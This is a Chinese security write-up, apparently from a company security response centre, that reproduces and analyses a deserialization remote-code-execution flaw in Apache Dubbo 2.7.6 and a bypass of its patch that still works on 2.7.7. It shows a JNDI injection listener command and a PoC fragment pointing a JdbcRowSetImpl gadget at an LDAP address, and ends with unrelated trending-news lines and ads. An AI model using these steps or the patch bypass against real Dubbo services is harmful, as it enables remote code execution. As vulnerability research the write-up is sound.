dubbo provider 反序列化rce及补丁绕过
01
漏洞复现
环境:dubbo 2.7.6 + java 8u151 + rome 1.7.0
下载测试代码,直接启动 provider
?

开启jndi监听 https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd /c calc" -A 127.0.0.1
?
修改PoC中的jndi地址
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:1389/olyuyt",
strMatchColumns=["foo"]
)
?
运行PoC,成功触发反序列化漏洞
?


?

02
漏洞分析
根据PoC返回的报错信息,在org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker打上断点
?

运行PoC后根据调用栈进行分析,发现在org.apache.dubbo.rpc.dubbo.DecodeableRpcInvocation的decode方法中调用ReflectUtils.desc2classArray对参数进行反序列化
?

具体的反序列化细节在com.alibaba.caucho.hessian.io.Hessian2input的readObject(Class expectedClass, Class<?>... expectedTypes)方法中,暂不深入分析。(注:此处存在另外一个反序列化漏洞点)
?

在getInvoker方法中由于未找到对应的Service,抛出异常RemotingException
抛出RemotingException时拼接字符串调用Invocation.toString
?

由于Invocation.arguments即为decode中反序列化的参数,从而调用了com.rometools.rome.feed.impl.ToStringBean.toString?触发反序列化调用链


03
补丁绕过
分析补丁
https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9
在反序列化参数时增加了对service和method的校验。
?

由于参数还是会被反序列化,依然会有被绕过的风险。方法大致分两种:
1. 构造特殊的service和method绕过RpcUtils.isGenericCall或者RpcUtils.isEcho的校验,从而继续使用RemotingException这里的sink点
2. 寻找其他的利用链
?
对isGenericCall、isEcho方法进行分析
?

可以通过$invoke、$invokeAsync绕过此处的校验
修改pom.xml中的dubbo版本为2.7.7,仍可通过poc触发反序列化漏洞
?
?
参考链接


关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 立德少年时 树人天地间 7904111
- 2 人民币再次升值 7808199
- 3 女子罕见被控迷信罪 “供奉”2.1亿 7712353
- 4 中国继续成为全球增长的重要引擎 7616037
- 5 飞机凌晨在兰州上空盘旋 轰鸣数小时 7522766
- 6 卖国弃民!高市早苗国会现场遭痛斥 7425953
- 7 吴秀波被执行6200万 7329597
- 8 商场被指吓人悬空大衣已撤下 7233540
- 9 被指“做假账几十亿” 周鸿祎回应 7135521
- 10 海南自贸港18日正式启动全岛封关 7043257







斗鱼安全应急响应中心
